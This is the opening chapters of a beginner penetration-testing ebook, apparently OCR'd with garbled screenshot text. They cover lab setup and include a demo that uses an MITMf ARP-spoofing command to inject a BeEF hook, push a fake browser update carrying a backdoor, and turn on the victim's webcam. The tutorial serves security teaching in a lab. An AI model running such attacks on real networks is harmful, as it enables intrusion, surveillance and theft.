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About GENIUS STUFF

It is an Instagram Page named " genius_stuff ", Started on February
2020, which was created by a bug bounty hunter, student and an
ethical hacker. Our motive is to make a team of hackers with similar
interests. This book is intended for anyone who wants to learn how to
perform hacking/penetrationtesting. It is designed to start from
scratch, assuming no prior knowledge, and takes you all the way to a
strong intermediate level in the subject. The book is highly practical
but it will not neglect the theory. It starts with some basic terminology;
then you'll learn how to set up a penetration-testing lab and install all
the necessary software. The remainder of the book is divided into a
number of sections, each covering a penetration testingfield from
networks, servers, and websites to client-side attacks and social
engineering. In each of these sections, you'll learn how a target
system works, the weaknesses in the system, how to exploit those
weaknesses and hack the system, and how to secure the system
from the discussed weaknesses. By the end of the book, you'll have a
strong base and a good understanding of hacking/penetration testing,
so you'll be able to combine the techniques shown and tailor them to
suit different scenarios.

About the Book

This book starts from scratch, assuming the reader has no prior
knowledge of hacking/penetration testing. Therefore, it is for anybody
who is interested in learning how to hack or test the security of
systems like real hackers and secure them like security experts.
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1

Introduction
Welcome
What's in this book?

In this book, you will learn how to become an ethical hacker from
scratch. We'll assume that you have no experience in ethical hacking,
and, by the end of the book, you will be at an intermediate (to high)
level.

Here is a quick overview of what will be covered in this book:

Preparation
Penetration testing
Protecting your own system

[ vii]
Preparation

In the first part of this book, you will learn how to create your own lab,
so that you can practice ethical hacking on your own computer. You
will also learn the installation of Linux systems and how to interact
with them, as well as how to set up other systems to try to hack into
them.

Penetration testing

In this part of the book, we will cover the most important penetration
testing fields. In each of these sections, we will first illustrate how a
particular system works, and will then test the security of that system.
In the following sections, we will introduce the types of penetration
testing that will be seen in this book.
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Network penetration testing
In network penetration testing, the first things that we will learn are
how networks work and how devices interact with each other.

First, we will learn more about the networks around us; we will
gradually proceed by setting up a fake access point and luring people
into connecting to networks so that we can capture data that is sent
or received through them. We will then learn how to get the password
for any Wi-Fi network, whether it uses WEP, WPA, or WPA2
encryption.

We will also go over a large number of powerful attacks that will allow
us to gain access to any account that is accessed from any computer
in a network. We will be able to capture usernames, passwords,
images, and pictures that computers on a network send or receive.

Gaining access

In this part of the chapter, we will learn how to gain access to
computer systems. There are two methods to hack a computer:
Server-side attacks

Client-side attacks

When learning about server-side attacks, you will see how to discover
weaknesses in the programs installed on the target computer, and
how to use those weaknesses to gain full access to the computer.

In the client-side attacks, you're going to learn how to use social
engineering to hack into the target, you'll learn how to create
undetectable backdoors, backdoors that look like images and
pictures, and so on. We will also learn how to gain access to any
computer if that computer exists in our network by using fake updates
or by using fake downloads.

Post exploitation

In this section, we look at post exploitation, learning how to control
the devices that we hacked. So, we're going to see how to open a
system's webcam, manage its filesystems, and download or upload
files to it. We will also learn how to capture all of the key strikes that
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the person enters on their keyboard, or even use that computer as a
pivot to hack into other computers.

Website penetration testing

In the final sections, which will be about website penetration testing,
we will learn how to gather very comprehensive information about
websites, including how to discover, exploit, and mitigate a large
number of serious vulnerabilities.

Protecting your system

Finally, we will learn how to protect ourselves (and our systems) from
the attacks discussed in the preceding sections.

What is hacking?

Through hacking, you can do anything that you're not supposed to do
(or allowed to do). For example, you can view information that you
don't have permission to see or use a computer that you're not
allowed to use. There are many different types of hacking, such as
email hacking, computer hacking, server hacking, and web
application hacking.

There are three different types of hackers:

Black hat hackers : Black hat hackers hack into systems for their
own benefit; these are the ones that steal money or break systems
purely to benefit themselves.

White hat hackers: White hat hackers try to secure systems; they
might use the same methods as black hat hackers, but they only do it
on systems for which they have permission to do so, in order to see if
the systems are vulnerable they hack them in order to fix them.

Grey hat hackers: There are also grey hat hackers, which are a mix
of both; they will test any systems that they want to test, even if they
don't have permission to hack them. Once they do hack into things,
they don't break anything or steal any money; they don't cause
damage. They might even tell the administrators how to fix it.
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In this book, we will be white hat hackers. This book is only about
teaching hacking for educational purposes. It is for people who want
to be able to secure their networks, and who want to work as pen
testers to secure computer systems.

Why should we learn about hacking?

Hacking is an existing field there are many job opportunities within it,
it is happening every day, and it involves a growing demand for
protection. We all heard about the Sony hack when PlayStation was
down for a considerable amount of time. Companies such as Sony
are actually hiring people to try to hack into them. You're going to
learn how to hack into networks and systems so that you can secure
them from black hat hackers.

Not so long ago, someone found a way to brute-force the restore
password key for Facebook on its mobile website, because Facebook
didn't check for the number of times that you entered the incorrect
PIN. Once the person had done this, they told Facebook about it, and
they were rewarded with $20,000, because Facebook has a bug
bounty program. At the moment, many websites and companies have
bug bounties they are asking people to try to hack them, and they will
pay a certain amount of money if a hack is successful, depending on
how dangerous the exploit is.

A glimpse of hacking

In the coming sections, we are going to learn how to install the
operating systems and programs needed for hacking. We will then
learn some basics about hacking, and how to use the operating
systems involved. Before we start, I'd like to give you the gist of what
you're going to be able to do by the end of this book. In this section,
we are going to go through an example of hacking a Windows
computer from a Linux machine. Don't worry about how we installed
these machines or how to run these commands; right now, this is just
an example. In the future, we're going to break this into steps, and
you will see exactly how to run the attack. You will also learn about
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how the attack works, and how to protect yourself from such an
attack.

Browser exploitation framework

Now, we are going to use a program called Browser Exploitation
Framework (BeEF):

1. We're going to launch BeEF XSS Framework. It uses JavaScript
code to hook a target computer; once a computer is hooked, we'll be
able to run a number of commands. Following is a screenshot of how
it looks:

# pecr 0.4.f.0.apha | Submd Bug | Logout
Hooked Browsers
[_J Cinding Rrowsers
4 '3 QiMine Browsers
453100215
7 @M% 10025
7 W 0025

7 #0025

Getming Saned |l Ings Canrens Armwser

Official website: hitp:becfproject com/
Getting Started
Welcome to DeEF!

Refore heing Able 10 hilly expiore the ITAMSWON Yo will NAVE 10 ND0K' A DICWSEr T Degin with you can
point a browser towards the basic demo page hede, of the agvanced version hers,

IFyou want i hook ANY page (for debugging reasons of course), drag the following bookmarkiet ink
ino your browser's bookmark bar, then simply click the shortcut on another page: |Hook Mc!

Aller a browser is hooked Bl the hamework Uey wil appear in the ‘Hooked Browsers” paed on e
IBfT. Hooke Drows.ers will ARREAT i eANer A oniine of GNe S1a1e, RNANTING 0N how recenty hey
hanre palied the Iramewor.

Hooked Browsers

To mieract with & hooked browser simply kefi-chck it 8 new tab wil appear. Lach hooked browser tab
has a number of sub labe, deceribed below:

Main;: Display information about the hooked browser after you've run some command modules.
Logs: Displays recent g enlries relaled  (his particula hooked browser.

Commands: This Lab is where mudukes can be execuled agags! Ue hooked biowse. This i
where masi of ihe BeEF Nincionallly reskies. Mnst coMMAnT mofuies consist of JAASCrint come
that i executed aganst the selecied Hooked Browser, Command modules are abie 1o pertorm amy
actions that can be achieved through Javaccript: for exampls they may gather information about the
Heoked Browser, manipulate the DOM or perform other activities such as exploding vulnerabiltics
within the local network of the Hooked Drowser,

FACH cOmMANTG Mo NAS A AT BNt ICon, Which 1§ 1sed 10 Ndicate 1he Tolowing”
The command madule works aganst the tanget and should be INvisible 10 the user
" The command module works against the target, but may be visible to the user
The command module is yet to be verificd against this larget
@ The command medule dots not work against this target
KssRays: The XssRays lab alkevs the uwsen W check il Biks, fonns amd UR paih of the page
fwhene the iowser is hooked) s vuinerable in X55
Rider: |he Hider tab alows you b0 Submd arbdrary HT TF requests on behal of the hooked browser.
Each request sent by the Rider is recorded in the History panel. Click a history fiem to view the

= ER——— HTTP headers and HTML source of the HTTP responsc,
Basic™ | ciogeale Metwrork: The Nebwork tab alows you to inferatwith hosts on the local network(s) of the hooked

2. To run the commands, we will use a man-in-the-middle attack to
automatically inject the hook code for BeEF. We will use a tool called
MITMf to perform an ARP spoofing attack. We will give it the network
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interface, gateway, and target IP address, which is the address of the
Windows machine.

3. Next, we will tell MITMf that we want it to inject a JavaScript URL,
and give it the location where the hook is stored. The code will look
SOmething like this: mitmf --arp ~-spoof -i eth0 ~-gateway 10.0.2.1 target 10.0.2.5 -inject ~js-url http://10.0.2.15:3000/hook.js

4. Once this is done, hit Enter, and it will run successfully. Its output is
shown here:

5. This looks very complicated; we don't know where we got the
options from, so it probably all looks very confusing in the preceding
screenshot. Again, don't worry; we will discuss it in detail later on, and
it will become easy for you. Right now, all we need to understand is
that this program is going to inject the hook code; the code allows
BeEF to hack into the computer, into the browser used by the target
person, and the code can run without the person even knowing.

6. Now, go to the Windows machine and run the web browser. We're
just going to go to any website, such as Google or Bing.

7. If you go back to the Kali machine, you'll see that we have the IP
address of the target person under Hooked Browsers, and, if you
click on the Commands tab, you'll see a large number of categories,
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with commands that you can run on the target computer. These are
shown in the following screenshot:

Hooked Browsers

= Getting Started Logs
4 {—] Online Browsers

4 5 www.google.com Details Logs Commands

? M= 10025 Module Tree
4 (=7 Offline Browsers
45100215

7 W% 10025

Search

» |7 Browser (53)

> [0 Chrome Extensions (8)
- (27 Debug (%)

- 7] Exploits (78)

> [Z] Host (22)

- CJIPEC (9)

- [0 Metasploit (1)

. ] Misc (16)

- 7] Network (19)

» [ Persistence (5)

- (L] Phonegap (16)

> |~ Social Engineering (21)

8. Let's display a fake notification bar to the target telling them there's
a new update, so click on Social Engineering | Fake Notification
Bar (Firefox), as shown in the following screenshot:
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G etting Started Logs Current Browser
Detaids Logs Commands Huder XasHays Ipec Mehwnrk WehH 1L
Module Tree Module Results Histary Fake Nothication Bar (Firefox)

id ~ date label Descripion.  Displays A 1Ake noMMCANDN Bar A1 e 1o of the Sereen, Smiar 1o thoge precenta m Frsto. e

- s  WIBOT 205 comandl user cicks the notfication they Wil be prompied to downioad & malicious Firefox extension (oy
' defaull),

__l Chrome Extensions (&)
1 Debug (3) i 57
) Cxploits (78)
_JHnat (27) Plugin URL: il #10.0.0.0.3000/apifipecll_exlension
—JIPEC (3) Notficaion | Critical update, click here to install
"I Metas piot (1) X
T Misc (16)
) Network [18)
1 Persisience (5)
) Phonegap (16)
4 {3 Soclal Engineering (21)
Clickjacking
Fake | AstFAsRS
Leamiuf Dovmioad
& Clppy
& Fake Flash Updale
& Fake Motification Bar (Chror
W Fake Notification Bar (Firefo
& Fake Notification Bar (IC)
@ Lnagie Phishing
& Pretty Thekt
¥ Replace Videos (Fake Plugi
@ Sinpke Hiacken
& TabMabbing
@ Fake Evernoie Web Clpper
@ Firefox Extenzion (Bindshed
@ Firefox Exiension (Dropper)
@ Fircfox Exicnsion (Reverse
@ HIA Powershel
@ SieKiosk Dreakout
@ Steal Autocomplets
@ User Interface Abuse (1E 9 T

I
9. This is going to show the target person that there's a new update,
and, once they have installed the update, we can hack into their

computer. Now, let's configure the fake notification bar to install a
backdoor once the user clicks on it.

10. We have a ready-made backdoor that's not detectable by
antivirus programs (you will see how to do that in upcoming
chapters). We will store that backdoor, and call it .

11. Next, we will click on Execute. Now, before we run the update,
we will have to listen to incoming connections to connect to the target
computer, once the victim tries to update their computers. Now, if we
hit Execute on the fake notification bar command, the bar will be
displayed in the target's browser, as shown in the following
screenshot:
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B Crivcal updats, <ok her 10 INSaE  fnstan plug-in_ %

Google

Google Svarch 'm Fecling Lucky

Google offered in. =1 ™ Sewt @ pullp ‘L’c‘il:ﬂ. FHE GRWIBe UArH

12. In the preceding screenshot, Firefox is showing that there is a
critical update, and you need to click on Install plug-in to install that
update. Once you have clicked on it, and you can see that it has
downloaded an update file, save it, and then run the update.

13. If we go back to the Kali machine, we'll see that we managed to
get a reverse session from the Windows machine. So, let's interact
with that computer; we will basically have full control over it:

Now, let's see how to access the target computer's webcam.

Accessing the target computer's webcam

To access the webcam, we are going to use a plugin that comes with
Meterpreter; we will use the command.

When we hit Enter, we will be able to turn the webcam on. ltis a
webcam that's actually attached to the Windows machine; we have
hacked into the Windows machine, and we can do anything we want
on it. Again, this is just an example of one attack that we're going to
use. We're going to perform many more attacks like this, and all of
them are going to allow us to gain full control over the target system.

Summary
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In this chapter, we looked at some brief descriptions of the topics that
will be thoroughly covered in this book. We discussed using a Linux
machine to hack a computer with the Windows operating system.
Then, we learned about the concept of hacking through the use of
real-time examples. The different types of hackers were discussed.
Finally, we saw various applications involved in hacking.

In the following chapter, we will set up a virtual environment to
perform various penetration tests. We will also install Kali Linux,
Windows, and Metaspoitable machines.
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2

Setting Up a Lab

In the previous chapter, we learned the concept of hacking. In this
chapter, we are going to learn how to set up a virtual environment, so
that we can later perform penetration tests on it. In this chapter, we
will cover the concept of virtual machines, and will also perform its
installation steps. Later in the chapter, we will learn how to install Kali
Linux, and the two victim machines on VirtualBox: Windows and the
Metasploitable machine. We will also discuss what each of these
machines does, and why we are going to use them. Toward the end
of the chapter, we will see the concept of snapshots, and how to
implement them.

The following topics will be covered in this chapter:

Lab overview

Installing Kali Linux

Installing Metasploitable

Installing Windows

Creating snapshots and using snapshots

Lab overview

Since this book is highly practical, we will need a lab, a place where
we can learn and perform attacks. To create this, we're going to use a
program called VirtualBox.

VirtualBox

VirtualBox is a program that will allow us to install machines, just like
normal computers, inside our own machine. We will have one
computer, and we will install other computers inside it, acting as
virtual machines. These are very important in terms of penetration
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testing; we're going to be using them a lot in order to set up a lab. It's
very important to note that a virtual machine is just like a completely
separate, working machine; there is nothing we will lose by installing
an operating system as a virtual machine, and it will perform just like
it does when installed on a separate laptop. Basically, instead of
having four or five computers or laptops around us (so that we can try
to hack into them), we're going to install them as virtual machines
inside our own machine. This might seem a bit vague now, but once
we get further into the chapter, the concept of how VirtualBox works
will become clearer.

Basically, we are going to have three computers inside our main
computer. We will have the following three machines in our lab:

Attacker machine: Kali Linux
Victim 1: Metasploitable
Victim 2: Windows

For example, if our main computer has macOS, we are not going to
do anything with that. We have a machine that will be an attacker
machine, running Kali Linux, and we will learn more about Kali Linux
in a later part of this chapter.

We will also have two victims:

A victim that runs on Windows.

A victim that runs an operating system called Metasploitable.

So, we're going to have our own machine, and then have three
separate machines inside it. This will be possible by using VirtualBox.
Installation of VirtualBox

When downloading VirtualBox, just grab the version that's compatible
with your operating system. There is VirtualBox for Windows, macOS
X, and Linux.

VirtualBox is free, and you can download it from the following link:

T.me/nettrain



So, just find the VirtualBox version that is compatible with your
operating system, doubleclick on it, and install it. Installing it is very
simple; you just double-click it, click Next, Next, and Next, and it's
installed. The following is a screenshot of VirtualBox; as we can see,
it's installed, and we have no machines on the left-hand side of the
window:

Welcome to VirtualBox!

The left part of this window lsts all virtual machings and virtual machine groups 0n your computer, The kst is empty now because you haven't crented any
virtyal machines: yet.

In order to create a new virual machine, press the Mew button in the main teol bar located at the top of the windew,

Tou ¢an press the F1key to get instant help, or visit wow. virtuabox,org for » and latest news.

Installing Kali Linux

Throughout this book, we're going to use a number of penetration
testing tools. You can go ahead and install each of these tools
manually, or you can do what most pen testers, including myself, do
save time and effort by using an operating system designed for
hacking. We're going to use an operating system called Kali Linux, a
flavor of Linux based on Debian. It comes with all of the programs
and applications that we need to use, preinstalled and preconfigured.
This means that we can just install the operating system and start to
learn hacking.

There are two options for installing Kali: install it as a virtual machine
inside the current operating system or install it in the main machine
as the main operating system. Throughout this book, we are actually
going to be using it as a virtual machine, because using it as a virtual
machine works exactly the same as using it as the main machine; it
will be completely isolated from our computer running inside
VirtualBox. If we break it, or mess things up, it would be very easy to
fix. It's very easy to go back to other snapshots or configurations, and
we won't lose any functionality by using it as a virtual machine. That
is why we always use it this way.
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The steps are exactly the same, regardless of what operating system
you use, whether you're on Windows, Linux, or OS X.

The steps for installing Kali Linux are as follows:

1. Download the VirtualBox version for your computer.

2. After setting up VirtualBox, download Kali Linux, available at

3. Scroll down, making sure to click on the Kali Linux VirtualBox
Images, not on the VMware; then, download the version of Kali that's
compatible with your system. So, if you have a 64-bit computer,
download the 64-bit, and if you have a 32-bit computer, download the
32-bit.

4. After downloading it, you should get a file with a extension; you will
have the name followed by the extension, as shown here:

= |E=| &
@-u-vl @ + admin ¢ Downloads » - |+¢ | | Search Downloads joi [
Organize 3% Open - Share with » Mew folder = 0l @
b Evoiiis Name Date modified Type Size e
=
Bl Desktop I:! kali-linux-2018.2-vm-amdbd.ova 01-06-2018 21:53 Cpen Virtualizatio., 3516178 KB I ‘
4 Downloads 3 StorageExplorer.exe 24-05-2018 17:55 Application 47,459 KB |
= Recent Places NE VirtualBox-5.2.12-122591-Win.exe 14-05-2018 16:10 Application 111,106 KB 7
L Software (1921680, [ pycharm-community-2018.1 2.exe 03-05-2018 16:00 Application 1,587,930 KB ‘

5. To install this in VirtualBox, all we have to do is double-click on the
file. You will see a window that will allow you to import the virtual
machine. We're going to keep everything the same for now and we're
just going to click on the Import button. That's it; the virtual machine
is ready to be used:
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Mew Selings Disad  Sia

Welcome to VirtualBox!

The left part of thés window ki all virnal machines and virhsal machine groups on yeur eomputer. The kst s empty now becaise you haven't ereated any (s
wirtual machines yet.
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6. Before we start, we will look at how to modify some of the settings.
We're going to click on the Kali-Linux tab, which can be seen on the
left side of the window. Then, we're going to click on the Settings. The
first thing that we are going to do here is go to System and modify
the amount of RAM it has. Depending on how much RAM you have
on your computer, you can give this a 2, but 1 GB is enough for Kali.
Usually, | leave it at 2, because | have 16 GB of RAM. 7. Also, when
you click on the Processors tab, you'll see that, by default, we have

two processors assigned to it. Again, | have 8 CPUs, so 2 is not going
to cause too much pressure on my computer; but 1 CPU is also
enough for Kali.

8. Now, we're going to go to the Network settings, and we're going to
set this to use a NAT network. Sometimes, when we set this to a NAT
Network, we won't see a network name in here; for that, please
check out the link

and it will show how to create a NAT Network. This setting is
basically going to create a virtual network that our host machine will
be the router for, and then all of the virtual machines are going to be
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clients connected to this network. So, they're going to get internet
connection from the host machine and, at the same time, all of my
virtual machines will be connected to a virtual network. This is very
handy, because my virtual machines will be able to communicate with
each other; we can use one of them to hack into another, and we can
use it to test network attacks, and much more.

This will allow my virtual machines to have internet connection, and it
will also allow them to communicate with each other, all of this will be
done through a virtual network. It will not use any of your wireless
adapters or any of the wireless cards; it will create a virtual Ethernet
network, so as far as the virtual machines are concerned, they're
connected to a network through an Ethernet cable.

9. We can now click on OK and start our virtual machine.

10. Now, to start it, all we have to do is click on the Start button.
Then, click inside the virtual machine, and hit Enter; now we are
inside the virtual machine:

FF Oencte UM VimualBon Mansges T 0

@@ P @»}aaﬁ!

ard Show Machine Togks || Global Took

i
0 Kali-Lirsux [Ruiiing] - Orache VM VidualBon 0 e — =)
| File Machine View Inpit Devices Help R e Ceen Sy

Bp of the window. lhsls!-ﬂbe ectanded
mmummwmwmﬂmimmmmbmw@ﬁ fJ
kall GNUJLinux N

W slows basic coerations on certain properties (ke the machine shorage !

i alows ensphiot operations loe greate, pemoye, (egiore {make curment) ﬂ

FETEr T L oL e

11. Now it's asking us for the username, and the default username is ,
and then it's asking us for the password, and the default password is
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the reverse of that, which is . Since we installed this using the ready
image, we can just click on the green button, or we can go to View |
Full-screen; the screen will automatically resize to the size of our
screen.

12. Now, note that top-right hand side of the screen, we should
actually see a network icon, because we set this machine to use a
NAT network. If we don't have a network icon, it means that the
machine isn't connected to the NAT network, so if we open the
browser, we will see that it's not connected to the internet.

13. To fix this issue, we just have to go to the top of the screen, and it
will display menus. Going to Devices | Network, we can click on
Connect Network Adapter as shown in the following screenshot:

ﬁ kEali-Linuz[Rurnning] - Oracle Wi VirdualBox

File  Machine “iew Input Help

Applications = Places Optical Drives 3 Thu (
Audio 3

Metweark Y @Y Metwork Settings...

LsB 3 |
B Connect Metwork Adapter
Wiebcarms r

We only have to do this once, and then the virtual machine will
automatically connect to the NAT network. Once this is done, in just a
few seconds, we will have a network icon appear, and if we click on it,
we will get connected to a wired network.

14. As we can see in the following screenshot, it says Wired
Connected, so Kali thinks it's connected to a wired network:
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Now, if we just click Try Again in the browser, we will see internet
working. Don't be intimidated by this new operating system; we're
going to go through the basics, and we're going to use it a lot. It's
actually going to become very easy for you to use.

Also, like | said, you won't lose any functionality when you install Kali
Linux as a virtual machine. It's actually better to install it as a virtual
machine, because it's completely isolated from your computer, and it
will be very easy to fix if things go wrong.

Installing Metasploitable

The second machine that we will use is Metasploitable.
Metasploitable is another Linux machine, and you can think of it as
the opposite of Kali. Kali is designed so that you can use it to hack
into other devices, while Metasploitable is designed so that you hack
into it, so it's designed for people who want to learn penetration
testing. It is designed so that it has a number of vulnerabilities, and
we're going to try to use Kali Linux in order to hack into
Metasploitable. Therefore, this is going to be one of the target, or
victim, machines.
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You can download Metasploitable at

You will end up with a ZIP file, like the following. Once you
decompress it, you will get a directory named ; double-click it, and
you'll see the following files:

MNarne * | Type Compressed size Password ...  Size

] Metasploitable.nvram Yidware virtual machine ... 2KB Mo 9 KB
@ Metasploitablewvmdk Virtual Machine Disk For... 544806 KB No 18,580,512 KB
j Metasploitable.wvmsd VMware snapshot metada... 0KB MNo 0 KB
@ Metasploitablewvmx YWilware virtual machine c... 2KB MNo 3 KE
[1] Metasploitablevimd YWihlware Team Member 1KE Mo 1KE

So, we're going to create a new machine, through the following steps:
1. To get a virtual machine, we will click on New, and we will name it
and change its type to a Linux machine. Then, hit Next, and give it
only 1 GB of RAM.

2. Then, we are going to use the existing virtual file option, unlike
when we created Kali Linux (that is, when we created a new virtual
hard disk). The reason for this is that the image we have now is
actually designed for VMware Player. So, we're going to import the
hard disk file, or the hard disk image, so that we have an installation
ready without having to install it. We're just going to use an existing
hard disk file. We will go into the directory and select the

file.

3. Click on Open and Create. We are going to start the machine right
now. This is what we will see when the machine is running and fully
installed:
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Warning: Never expose this UM to an untrusted network?

Contact: msfdevlatlnetasploit.com

Login with msfadminsmsfadmin to get started

metaszploitable login:

Warning: Never expose this UM to an untrusted network?
Contact: msfdevlatImetasploit.com

Login with msfadminsmsfadmin to get started

metasploitable login: _

4. We don't really need to install anything, as we just imported a pre-
made installation, a ready hard disk. So, now it's asking for the
username, . The password is the same. We are now logged in:

msfadmin@netasploitable:™5 =udo pouweroff
[sudo] password for msfadmin:

Broadcast messzage from nsfadmin@metasploitable
(sdevsttyl) at 3:39 ...

The system is going dowun for pouer off NHOU?
nsfadmin@metasploitable:™ = Stopping web server apache2
= 3topping Tomcat servlet engine tomcat5.5

This machine only has a Terminal, and it's giving you a warning that
you should never expose this machine to an external internet
connection because it is a vulnerable machine, designed to be
vulnerable. It's only inside our lab, installed as a virtual machine, so
nobody outside our lab can access it, which is a really good way of
using it. As mentioned previously, in later chapters, we're going to
discuss how we can try to hack into this machine. Again, don't be
intimidated by the Terminal; we're going to be using it a lot, and we're
going to learn how to use it step by step.
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If we want to turn this machine off, all we have to do is type in
just run the command. After asking for the admin password, the
machine just turns off:

msfadmin@netasploitable:™5 =udo pouweroff
[sudo] password for msfadmin:

Broadcast messzage from nsfadmin@metasploitable
(rdevsttyl) at 3:39 ...

The system is going dowun for pouer off NHOU?
mnsfadmin@metasploitable:™5 = Stopping web server apache2
= 3topping Tomcat servlet engine tomcat5.5

Installing Windows

The last machine that we're going to talk about installing is the
Windows machine. This is just a normal Windows machine, with
Windows 10. This is going to be another victim, and we are going to
see how we can hack it. Again, we installed Metasploitable because it
has a large number of vulnerabilities, and it's designed to be hacked
into. It has a Terminal that is not very user friendly, and it doesn't
really mimic a normal user. The Windows machine, on the other
hand, will be used for scenarios that mimic a normal user, a user just
using Windows to browse the internet or do whatever normal people
do on their machines. So, Microsoft has actually released free
versions, or free virtual machines, that you can download and use.
These are available on Microsoft's website. You can download them
at .

So, we're going to create a new machine, through the following steps:

1. Make sure that you select which host operating system you have. If
you have Windows, you click on the Windows tab, and if you have
Mac, then click on the Mac tab, and so on.

2. From the drop-down boxes, select MSEdge on Win (10), and
make sure to select the VirtualBox image. These are all applications
that allow us to install virtual machines. At the moment, we're using
VirtualBox for everything, so just make sure you use the VirtualBox
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image. Once you do that, you will have a ZIP file named .
Uncompress it, and you will get the file .

3. Double-click on the file, and VirtualBox will ask you to import the
machine it has already set up the settings for it. You can now import it
the way it is, and modify the settings later and the Windows will be
installed.

4. Before booting it, modify the settings, change RAM to 2 GB. We
can then start it. Windows will start straight away it is ready, given to
us by Microsoft.

We have a fully working Windows machine here, Windows 10, and
this will be the third machine that we use in our lab. It will be our
second attacking machine our second victim or target machine.

Creating and using snapshots

Now that we've created our virtual machines, it would be a good idea
to take snapshots of them. A snapshot allows us to store the state of
the current virtual machine, so that we can go back or forward in time,
to a certain state. We can think of snapshots as bookmarks for
example, we can take snapshots of the fresh installations of the
operating systems, and, if we update, configure, or break something
in the future, we can go back to the fresh installations, or go back to
the factory settings. We can also go forward to the updated system
from there. We can take a snapshot whenever we want, and go back
and forth between states.

The following are the steps for taking snapshots:

1. Click on Kali Linux that we installed; it's very easy to create a
snapshot of it. All you have to do is go to Snapshots and click on the
camera icon, which appears on the icon bar at the top:

I (&) Snapshots 5 I ﬁ - %ES
Machine Tools Global Tools

Take :-e:é:r: Restore  Properties | Clone
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2. It will ask us to name the snapshot, so we will just name it , and we
will give it a description, saying it's a fresh snapshot, with no updates.
It's always a good idea to give a meaningful name and description, so

that in the future, we can actually remember what the snapshot
stands for:

5 Orce VM Virtualox Mrager i o o4 - WEICIEN

i* @ VP (@ s )| » H W -

New Setfings Discard Show 2 " | Machine Tools | | Global Tods
s B & B @

! i ioke UDelete | Hestore Properbes | Clone

E:™ Metasploitable

(@) Powered Off Miime Tkt

|'1'> Current State

.
§¢ lake Snapshot of Virtual Machine ?| =

=, Snapshot Mame
'- Fresh Install

snapshiot Desaipton

[ Ok Cancol Help

3. So now that we are done, we can click on OK, and we will have the
Current State. We can update or install programs, and even install
libraries, and, if we break something and/or want to go back to the
fresh install, we can click on Fresh Install to restore it.

Now, we can go back to the normal details and start our virtual
machine. We will see an example now. Let us create a new directory
in Kali Linux we are going to call it . Let's suppose that we actually
updated the system; when we update the system, there is a good
chance that some programs will not be as up to date as the libraries
that will be installed, and these programs might start having issues. If
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this happens, it is recommended to go back to, or downgrade to, an
older version, without the update.

All we have to do is go back to the fresh installation. We just created
a new file to show that once you go back, everything will go back to
how it was before changes were made. Turning off Kali, if we go back
to the snapshots, we will see the Current State (the state that has
been changed). If we updated and the update was successful, we
can also create a snapshot called Updated System, including the
date, and a description, such as updated with no problems. Clicking
on OK, we will then see two snapshots Fresh Install and Updated
System.

If we have problems after updating, all we have to do is just click on
the Fresh Install that we just created, and then click on the restore
icon to restore changes. Now, if we start the Kali machine, we will see
that the new directory that we created disappeared. We're back to
where we were without the new directory, without anything, so we are
actually back to the fresh installation of Kali, to when we actually took
the snapshot.

Let's suppose that we have gone back in time to our fresh installation,
and for some reason we want to go to our updated state to see if we
can fix the issue (perhaps by finding a solution online). If we want to
go to a future state, we can just click on Updated System, then
Restore, and without creating a snapshot from the Current State
start the machine. We'll be back to the updated state, to where we
had the new directory created, the directory.

As you can see, snapshots can be really useful. They allow us to
bookmark the state of the operating system, so that we can actually
have different configurations, switching between them as we please.
Snapshots are also really useful if we have installed Windows,
because Windows actually gives us a trial version, and we can go
back to our fresh installation of Windows if there are problems in the
future.

Summary
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In this chapter, we learned how to use VirtualBox, which allows us to
install machines such as Kali Linux, and Windows, inside our own
machine. We also learned how to install Kali Linux, which is going to
be our attacking machine throughout the book, and how to install our
victim machines, Windows and Metasploitable. Lastly, we studied
what snapshots are, and how they can help us to retain our past
setups in the virtual environment.

In upcoming chapters, we will see how to use the Kali Linux machine
to attack both the Windows machine and the Metasploitable machine.
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3

Linux Basics

In this chapter, we will be covering the basics of Kali Linux. We will
see how Kali Linux looks when installed as a virtual machine, and
some of the basic elements of Kali Linux will be explained in detail.
Furthermore, into the chapter, we will learn about the different
commands that we can use in a Linux Terminal. Once we have
learned how to use the commands, we will see how to update
sources, and how to install programs on Linux.

In this chapter, we will cover the following topics:

Overview of Kali Linux
Linux commands
Updating sources

Overview of Kali Linux

Now that we have Kali Linux installed, let me provide you with an
overview of the system: what Linux is, the filesystems structure, and
some of the basic apps that we are going to use. We will see an
overview of the system now, and later, we will walk through some
commands, which we will see in more detail in later chapters.

Status bar icons

As you can see, in the following screenshot, there is a status bar at
the top, and toward the end (on the left-hand side of the
Applications menu), there is an Applications tab to access all of the
applications that come preinstalled with Kali Linux. These are divided
into categories, in terms of the type of attack that they allow you to
carry out. We can see the following: 01 Information Gathering, 02
Vulnerability Analysis, 03 Web Applications Analysis, 04
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Databases Assessment, 08 Exploitation Tools, and 07 Reverse
Engineering. These are all types of applications that can be used for
penetration testing:
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The Places menu allows you to access your filesystems - the files
that you will be using. This is similar to My Documents in Windows
machines. If we click on Computer, we can access all of the files and
devices, but we rarely use this menu; we usually access it through
the Home icon on the vertical bar toward the left. If we go to Places
and then to Home, we can get access to Desktop, Documents,
Downloads, Music, and so on, the same way that you would in
Windows or macOS X. We can even see Trash, which is where your
trash goes. This is just a basic file manager, with back and forward,
and you can double-click on a file to run it or double-click on a
directory to open it:
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To the right, there is an icon called Workspaces; in here, you can
see the number of desktops, or workspaces. Linux usually supports
workspaces, so you can have different windows on different
workspaces; if you don't have other windows open, you can't use the
next workspace. However, for example, if you have a file manager
open here, you can go to the next workspace and it will be empty,
and then you can have something else running there. You can use as
many workspaces as you want, and it's easy to switch between them.
We will be using them when we perform our penetration testing
attacks.

Now, toward the right of the workspace icon, you can have a

keyboard icon, if you have more than one keyboard and want to
switch between them:
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We then have our networks icon, as seen in the following screenshot.
With it, we can access wired and wireless networks. One thing to
note is that we will not be able to access our internal wireless card
through a virtual machine. We have set the settings of the computer
to be connected through NAT, which means that it has an internet
connection, but the internet connection is coming through a host
machine. So, there is actually a virtual network set up between this
device and the main device. This device only has internet access
because of the internet access provided by the main machine:
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Here, we can also change the volume from the same menu; we can
turn off the computer, lock it, or enter the preferences, too. These are
just normal preferences; you should familiarize yourself with them.
They include Backgrounds, Notifications, Displays, Mouse, and
Networks. We then have battery settings, which can be accessed
from the status bar. Applications and Places are the objects we'll be
using the most, and you can access your network settings from them.

Connecting the wireless card

If we have a wireless card connected, we will be able to see the
available networks. If we want to connect a wireless card (I have a
USB wireless card), we can do the following:

1. Go to the Devices menu on the menu bar, then go to USB. This
procedure is the same, regardless of the USB device that you
connect (wireless, memory stick, and so on). Go to Devices | USB,
then select the device you want to connect.

2. So we connected a wireless card, and the chipset that's used in the
